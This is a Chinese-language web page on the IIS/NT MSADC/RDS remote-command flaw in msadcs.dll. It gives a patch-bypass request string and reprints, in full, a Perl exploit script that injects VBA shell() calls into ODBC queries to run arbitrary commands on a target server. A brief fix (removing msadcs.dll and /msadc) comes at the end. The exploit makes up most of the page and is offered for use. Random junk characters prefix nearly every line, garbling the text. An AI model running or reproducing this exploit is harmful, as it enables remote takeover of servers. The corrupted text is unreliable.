IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
*N #{~ ^|1)6P}6 涉及程序：
H s~u&c Microsoft NT server
z;VabOr^ >C|i^4ppI 描述：
9(;I+.;8k 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
W;Ei>~E c _v;"Q Z 详细：
q|+`ihut 如果你没有时间读详细内容的话，就删除:
T[YGQT |B c:\Program Files\Common Files\System\Msadc\msadcs.dll
wJQ"| 有关的安全问题就没有了。
7#BU d/ ()>,L? y 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
qJZ5w } 7p Y7iR_ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
D8''q% 关于利用ODBC远程漏洞的描述，请参看:
V
2WcPI^ M@/H d0$ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm (;@\gRL E5J2=xVW# 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
S!;:7?mq http://www.microsoft.com/security/bulletins/MS99-025faq.asp V=v7<I=] 'sCj|=y2Qc 这里不再论述。
c$>$2[*= AGdFJ>/ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
,y5 7tY \%FEQa0u /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
+w ]KK6 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
9
Z D4Gv Lh(` 9(tX 1/H9(2{L #将下面这段保存为txt文件，然后: "perl -x 文件名"
XPt<k&o1, @m=xCg.Z #!perl
PnKgUJoa0 #
_26<}&]b* # MSADC/RDS 'usage' (aka exploit) script
=R
<X!@ #
/T_ G9zc # by rain.forest.puppy
`IQ76Xl #
:sY pZX1 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
XJ`!d\WL/! # beta test and find errors!
>
v~?Vd( ][y~(&=T use Socket; use Getopt::Std;
;x =k J@ getopts("e:vd:h:XR", \%args);
`]8z]PD 9"H]zfW print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
;m+*R/ Oa'DVfw2J if (!defined $args{h} && !defined $args{R}) {
,L"1Ah print qq~
h!L/ZeRaV Usage: msadc.pl -h <host> { -d <delay> -X -v }
AMhHq /Dw -h <host> = host you want to scan (ip or domain)
/ ao| v -d <seconds> = delay between calls, default 1 second
!Deg !f\g -X = dump Index Server path table, if available
}op 0`-Xb -v = verbose
}?
W[D -e = external dictionary file for step 5
8a^E{x@HT ,/ =Fm Or a -R will resume a command session
$dp;$X3 .ZB(!v/2 ~; exit;}
9f
^c9@= x dT1jI $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
vncak if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
ug wZAC if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
VR @V3 ~ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
{F/0pvP9 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
csPziH$wl if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Sl8A=Ez h}k/okG if (!defined $args{R}){ $ret = &has_msadc;
NRM=0-16u$ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
VoOh$&"M \!erP!$x . print "Please type the NT commandline you want to run (cmd /c assumed):\n"
KL8G2"Z . "cmd /c ";
2k}" 52 $in=<STDIN>; chomp $in;
P@m_tA% $command="cmd /c " . $in ;
|(Bc0sgw} "lFS{7 if (defined $args{R}) {&load; exit;}
^11y8[[ 6i6 m*=h print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
5ir[}I^z &try_btcustmr;
P,|%7 '? Y ]>33sb
S6 print "\nStep 2: Trying to make our own DSN...";
5u<F0$qHc &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
[=})^t?8
;PO{
ips print "\nStep 3: Trying known DSNs...";
9\_^"5l &known_dsn;
ne=?' e4 ,co~@a@9 print "\nStep 4: Trying known .mdbs...";
&X^ -|7~N &known_mdb;
YTc
X4cC {xFgPtCM if (defined $args{e}){
a,GO S:?O5 print "\nStep 5: Trying dictionary of DSN names...";
<Be:fnPX7 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
(V:z 7 )<?^~"h print "Sorry Charley...maybe next time?\n";
5d7AE^SHsH exit;
V!Px975P -A?6)ggf. ##############################################################################
xp!M A 56;^
NE4 sub sendraw { # ripped and modded from whisker
/Ria"lLv sleep($delay); # it's a DoS on the server! At least on mine...
% Rv ;e my ($pstr)=@_;
/E/Z0<l7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
WR a4g
die("Socket problems\n");
m44"qp if(connect(S,pack "SnA4x8",2,80,$target)){
XB 8g5AxR select(S); $|=1;
^dR="N print $pstr; my @in=<S>;
C#^V<:9 select(STDOUT); close(S);
B1x# 7>K return @in;
=N 62 ){{ } else { die("Can't connect...\n"); }}
9vQI
~rz? Y ]xFe > ##############################################################################
Z%Kkh2-uh }#u.Of`6" sub make_header { # make the HTTP request
b6`_;Z my $msadc=<<EOT
\gB sAZE POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
@O!BQ^'hk# User-Agent: ACTIVEDATA
8=GgTpO5 Host: $ip
Io|3zE*< Content-Length: $clen
m| /?((s Connection: Keep-Alive
h U3! sew 0 n`d1 ADCClientVersion:01.06
K1th>!JW' Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
6n|R<DO%\ :7WeR0*% --!ADM!ROX!YOUR!WORLD!
BHNcE*U}@? Content-Type: application/x-varg
b"DV8fdX Content-Length: $reqlen
6T?$m7c
5 f~49(v] EOT
}{R?i,j( ; $msadc=~s/\n/\r\n/g;
I"=a :q return $msadc;}
c#ahFpsnlw $ ?HOke ##############################################################################
n A<#A F}f/cG<X sub make_req { # make the RDS request
jkVX>*.|oy my ($switch, $p1, $p2)=@_;
K &Sz8# + my $req=""; my $t1, $t2, $query, $dsn;
_ Q**4 q =\3jd
if ($switch==1){ # this is the btcustmr.mdb query
}nsxo5WP $query="Select * from Customers where City=" . make_shell();
hT=6XO od4 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
:t7M'BSm2z $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
K P1;u #v ?tA<:.<vtY elsif ($switch==2){ # this is general make table query
;R_ H8vp $query="create table AZZ (B int, C varchar(10))";
lpy ( un $dsn="$p1";}
>
[%ITqA$ T{US zMj
elsif ($switch==3){ # this is general exploit table query
G~VukW<e $query="select * from AZZ where C=" . make_shell();
\l_U+d,qq $dsn="$p1";}
[P3].#"]M= 69/br @j%` elsif ($switch==4){ # attempt to hork file info from index server
z0jF.ub $query="select path from scope()";
R0WI s:k2 $dsn="Provider=MSIDXS;";}
R4#56#d< l_E S $%d elsif ($switch==5){ # bad query
1ti9FQ $query="select";
e5GJ:2sH $dsn="$p1";}
6T qs6* 7)i6L' r $t1= make_unicode($query);
;VS\'#{e $t2= make_unicode($dsn);
(lz Z=T $req = "\x02\x00\x03\x00";
+o4W8f=Ga $req.= "\x08\x00" . pack ("S1", length($t1));
fz[-pJ5[ $req.= "\x00\x00" . $t1 ;
\# hp,XV> $req.= "\x08\x00" . pack ("S1", length($t2));
[ r<0[ $req.= "\x00\x00" . $t2 ;
F?!X<N{ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
1.U9EuI return $req;}
ndXUR4 RT~6 #Caf ##############################################################################
M YlPG1X=? 8fH. E sub make_shell { # this makes the shell() statement
2Hp<( return "'|shell(\"$command\")|'";}
-~|E (ys )LdS1% ##############################################################################
mu>L9Z~(L_ i?+>,r@\p sub make_unicode { # quick little function to convert to unicode
< %t$0' my ($in)=@_; my $out;
V6CRl&ZKO for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Z8vR/ return $out;}
0ECQ>Ux: s?,\aSsU@ ##############################################################################
'",+2=JJ }#Q ?\ sub rdo_success { # checks for RDO return success (this is kludge)
}jI=* my (@in) = @_; my $base=content_start(@in);
j,J/iJs if($in[$base]=~/multipart\/mixed/){
9R1S20O return 1 if( $in[$base+10]=~/^\x09\x00/ );}
&~
.n}h& return 0;}
S_|VlI m35 $4 ##############################################################################
Z{ AF8r X%lk] &2 sub make_dsn { # this makes a DSN for us
v6#i>n~x, my @drives=("c","d","e","f");
a^>e| Eq| print "\nMaking DSN: ";
*@-a{T} foreach $drive (@drives) {
q(n PI print "$drive: ";
.271at#- my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
GX@=b6#- "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
zi r?13N7 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
"P 9SW?', $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
W02t6 DW return 0 if $2 eq "404"; # not found/doesn't exist
+DR ,&; if($2 eq "200") {
_C&XwC Im foreach $line (@results) {
jFwu&e[9; return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Frd` u .I } return 0;}
[izP1A$r#Q r J^*8C! ##############################################################################
*_,: &Ur Ce.*yO<- sub verify_exists {
)N}.n2Y8W my ($page)=@_;
enB 2-)< K my @results=sendraw("GET $page HTTP/1.0\n\n");
E8Y(C_:s return $results[0];}
bH1MDBb2 v9K=\ j ##############################################################################
FC&841F }u&,;] sub try_btcustmr {
s<b(@L 1 my @drives=("c","d","e","f");
rT/4w#_3 my @dirs=("winnt","winnt35","winnt351","win","windows");
U3rpmml R GC DC*\ foreach $dir (@dirs) {
L8.u7( -# print "$dir -> "; # fun status so you can see progress
zYZ^/7) foreach $drive (@drives) {
^3
6oqe{ print "$drive: "; # ditto
hI}rW^o^ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Q!` $reqlenlen=length( "$reqlen" );
)ipTm{ $clen= 206 + $reqlenlen + $reqlen;
AY)R2>
fW% z.6I6IfL\L my @results=sendraw(make_header() . make_req(1,$drive,$dir));
j@778fvM\t if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
0J5IO|1 M else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
p/4}SU Q?WgGE4> ##############################################################################
ELa:yIl0 JM> 4m)h# sub odbc_error {
>Dk Rl my (@in)=@_; my $base;
U!D\Vd my $base = content_start(@in);
!`qw" i if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
>@+ r| $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"IMq + $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$QC^hC $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/vrjg)fer return $in[$base+4].$in[$base+5].$in[$base+6];}
J,,+JoD print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
D]B;5f print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
yT pv KCC $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
< 52) -l i71. M ##############################################################################
3uJ >:,~r FF'Ul 4y sub verbose {
Q2jl61d_9 my ($in)=@_;
?<h|Q~JH return if !$verbose;
c3X8Wi7m print STDOUT "\n$in\n";}
csCi0'u .~ jn
N ##############################################################################
p5?8E$VHV =qy{8MsjA sub save {
s3+6Z~g'B my ($p1, $p2, $p3, $p4)=@_;
=! P open(OUT, ">rds.save") || print "Problem saving parameters...\n";
fF.qQTy;7 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
c,FhI~>R close OUT;}
D4;6}gRC l>{+X ) ##############################################################################
(rB?@:zN OJTEvb6nPg sub load {
wfY]J0l my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,`. `}' open(IN,"<rds.save") || die("Couldn't open rds.save\n");
w829 8Kl @p=<IN>; close(IN);
^/_1y[j $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
.In8!hjYy4 $target= inet_aton($ip) || die("inet_aton problems");
<h[l)-86 print "Resuming to $ip ...";
u(b Pdf@kz $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
5l ,Q=V^@l if($p[1]==1) {
Y&y5^nG $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
6fcn (&Qk $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
[&H?--I my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
+E8}5pDt if (rdo_success(@results)){print "Success!\n";}
e_z"<yq else { print "failed\n"; verbose(odbc_error(@results));}}
^ e4y:# Nu elsif ($p[1]==3){
e,rCutA) if(run_query("$p[3]")){
jSMs<ox print "Success!\n";} else { print "failed\n"; }}
[X=J]e^D elsif ($p[1]==4){
@ 9q/jv` if(run_query($drvst . "$p[3]")){
A_xUP9g@? print "Success!\n"; } else { print "failed\n"; }}
9!UFLZR exit;}
," ~4l&
!Q" 3B6
86 ##############################################################################
mvrg!/0w ^ Z~'>J sub create_table {
[/ Ya4=C@ my ($in)=@_;
_?J:Z*z? $reqlen=length( make_req(2,$in,"") ) - 28;
oMer+=vH $reqlenlen=length( "$reqlen" );
x"xtILrI $clen= 206 + $reqlenlen + $reqlen;
Sh2;^6d my @results=sendraw(make_header() . make_req(2,$in,""));
J2P5< return 1 if rdo_success(@results);
bWOn `#+& my $temp= odbc_error(@results); verbose($temp);
=sa bJsgL return 1 if $temp=~/Table 'AZZ' already exists/;
dt=5 Pnf[y return 0;}
dX>l"))yR tW7 *(D ##############################################################################
{nl4(2$ =`y.L 5 sub known_dsn {
*3r{s'm # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
G >H',iOI my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Kl )PF), "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
gt=
_;KZ "banner", "banners", "ads", "ADCDemo", "ADCTest");
fsVQZ$h73 ^7O,Vk"Z foreach $dSn (@dsns) {
G: p!PB>= print ".";
' *x?8-K P next if (!is_access("DSN=$dSn"));
F MBzTD if(create_table("DSN=$dSn")){
~IP3~m D print "$dSn successful\n";
]'a9 >o if(run_query("DSN=$dSn")){
<+2M,fq+ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
"Ca?liy print "Something's borked. Use verbose next time\n";}}} print "\n";}
2 -
? *q/oS8vavd ##############################################################################
5Zdx n> h=Xr J sub is_access {
7<?~ A6 my ($in)=@_;
tzFgPeo$; $reqlen=length( make_req(5,$in,"") ) - 28;
b6E,u*)" $reqlenlen=length( "$reqlen" );
)$ +5imi $clen= 206 + $reqlenlen + $reqlen;
<^,5z!z } my @results=sendraw(make_header() . make_req(5,$in,""));
I];Hx'/<~ my $temp= odbc_error(@results);
V6{P4 1_ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
T-L; iH~0 return 0;}
,0=@cJ m +Bt9|d ##############################################################################
beM}({:` ]\Tcy [5 sub run_query {
U]h5Q. <SG my ($in)=@_;
!ENb \'>J> $reqlen=length( make_req(3,$in,"") ) - 28;
? MhY;z`= $reqlenlen=length( "$reqlen" );
|Skxa\MI $clen= 206 + $reqlenlen + $reqlen;
L>qLl_. my @results=sendraw(make_header() . make_req(3,$in,""));
1vF^<{%v return 1 if rdo_success(@results);
u4kg#+H my $temp= odbc_error(@results); verbose($temp);
zFtRsa5 + return 0;}
7k>sE $A/$M\ : ##############################################################################
Wi?37EHr b-x, `s sub known_mdb {
+R_w- NI my @drives=("c","d","e","f","g");
^KsiTVY my @dirs=("winnt","winnt35","winnt351","win","windows");
5YG?m{hyn_ my $dir, $drive, $mdb;
f/:XIG my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Y :0SrB!\ z7H[\ 4A!> # this is sparse, because I don't know of many
b6k'` vLA my @sysmdbs=( "\\catroot\\icatalog.mdb",
v!pT!(h4 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
p ^U:O&U( "\\system32\\certmdb.mdb",
2@ <x%T "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
N?'V,p
0= M8, W|eTM my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
-H%806NAX7 "\\cfusion\\cfapps\\forums\\forums_.mdb",
u K`T1*_ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
p6yC1\U!o "\\cfusion\\cfapps\\security\\realm_.mdb",
hl[!4#b]K "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ci @U
a}T "\\cfusion\\database\\cfexamples.mdb",
m-Uq6_e "\\cfusion\\database\\cfsnippets.mdb",
LI&+5` "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
o!3 -=<^ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
YAIDSZ&l[ "\\cfusion\\brighttiger\\database\\cleam.mdb",
U[a;e OLx "\\cfusion\\database\\smpolicy.mdb",
GCUzKf& "\\cfusion\\database\cypress.mdb",
_:,:U[@Vz "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
l(T CF "\\website\\cgi-win\\dbsample.mdb",
Vc! ;O9dP "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
'j)xryw "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
0 .~Pzg ); #these are just
I]]3 =?Y foreach $drive (@drives) {
WJ9 = hr foreach $dir (@dirs){
5Z 7 <X2 foreach $mdb (@sysmdbs) {
N%A[}Y0;MW print ".";
\V|\u= @H if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
K>h= print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Wh:SZa| if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
['MG/FKuv print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
}' mBqn } else { print "Something's borked. Use verbose next time\n"; }}}}}
A3p@hQl -$E_L :M foreach $drive (@drives) {
ag-\(i;K] foreach $mdb (@mdbs) {
m"~^-mJ- print ".";
9 ZL3p! if(create_table($drv . $drive . $dir . $mdb)){
[lqwzW{(UN print "\n" . $drive . $dir . $mdb . " successful\n";
'*5I5'[ X, if(run_query($drv . $drive . $dir . $mdb)){
LFCcV<~ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
o yBBW?m } else { print "Something's borked. Use verbose next time\n"; }}}}
;~$_A4; }
Hb KJ&^ gL(ny/Ob9 ##############################################################################
&i8AB{OU Y. ]FVq sub hork_idx {
iw\RQ
0 print "\nAttempting to dump Index Server tables...\n";
G SXe =? print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
/RuGh8qzP $reqlen=length( make_req(4,"","") ) - 28;
iK$)Iy0 $reqlenlen=length( "$reqlen" );
'b#`8k~> $clen= 206 + $reqlenlen + $reqlen;
ysV0E d my @results=sendraw2(make_header() . make_req(4,"",""));
O!}TZfC if (rdo_success(@results)){
(bxSN@hp2 my $max=@results; my $c; my %d;
L\Uf+d:&}G for($c=19; $c<$max; $c++){
!F*7Mif_E $results[$c]=~s/\x00//g;
O+Fu zCWj $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
TK pka]nJ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
njveZav $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
8.
[TPiUn' $d{"$1$2"}="";}
A@BYd'}] foreach $c (keys %d){ print "$c\n"; }
)oJn@82C| } else {print "Index server doesn't seem to be installed.\n"; }}
L'LZ K MO +g*N ##############################################################################
%nQii? 1`i c(. 2D sub dsn_dict {
\0iF <0oy open(IN, "<$args{e}") || die("Can't open external dictionary\n");
VLuhURI) while(<IN>){
>(s)S[\ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
31 \l0J g next if (!is_access("DSN=$dSn"));
kh /n|2 if(create_table("DSN=$dSn")){
O(8Px print "$dSn successful\n";
5:%xuJD if(run_query("DSN=$dSn")){
37DyDzW)' print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
5A,@$yp+ print "Something's borked. Use verbose next time\n";}}}
W3s>+yU print "\n"; close(IN);}
V?Y;.n&y "d60IM#N? ##############################################################################
hA.? 19<Z Vu '3%~ sub sendraw2 { # ripped and modded from whisker
-y70-K3 sleep($delay); # it's a DoS on the server! At least on mine...
Z,%^BAJ my ($pstr)=@_;
6]yYiz2Xn socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
l2"{uCcA die("Socket problems\n");
+jePp_3$O if(connect(S,pack "SnA4x8",2,80,$target)){
")MjR1p print "Connected. Getting data";
> 4>!zZ open(OUT,">raw.out"); my @in;
l d8 E!t[ select(S); $|=1; print $pstr;
S>isWte while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
iB;EV8E close(OUT); select(STDOUT); close(S); return @in;
fmf3 Hp@ } else { die("Can't connect...\n"); }}
nFU'DZ p< i;@H;: ##############################################################################
@:\ Iw" P U|QLc sub content_start { # this will take in the server headers
4. :2!Q my (@in)=@_; my $c;
a>x3UVf_ for ($c=1;$c<500;$c++) {
F+mn d,3 if($in[$c] =~/^\x0d\x0a/){
hI.@!$~= if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
kLa9'c 0 else { return $c+1; }}}
n,hl6[O L7 return -1;} # it should never get here actually
P(Bj XMd Q>R jv.1 ##############################################################################
m~c z qRkY-0vBP sub funky {
' NyIy: my (@in)=@_; my $error=odbc_error(@in);
x% Ph``XI if($error=~/ADO could not find the specified provider/){
7\>P@s print "\nServer returned an ADO miscofiguration message\nAborting.\n";
b^[Ab:`}[V exit;}
od=%8z if($error=~/A Handler is required/){
[IT*>;b+? print "\nServer has custom handler filters (they most likely are patched)\n";
u;f${Wn'3 exit;}
22aS
<@} if($error=~/specified Handler has denied Access/){
6)i4& print "\nServer has custom handler filters (they most likely are patched)\n";
( }ObX!, exit;}}
HBH Du;u \$GM4:R D ##############################################################################
mw2/jA7 8aDh HXI sub has_msadc {
s8L=:hiSf) my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
32nB 9[l my $base=content_start(@results);
a *?b nw? return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
nBw4YDR! return 0;}
{~J'J $hn8 coa+@g,w7# ########################
t5:
1' N9P G?`{OW3:_ -D*,*L 解决方案：
8S*3W3HY 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
4&b*|"Iw 2、移除web 目录: /msadc
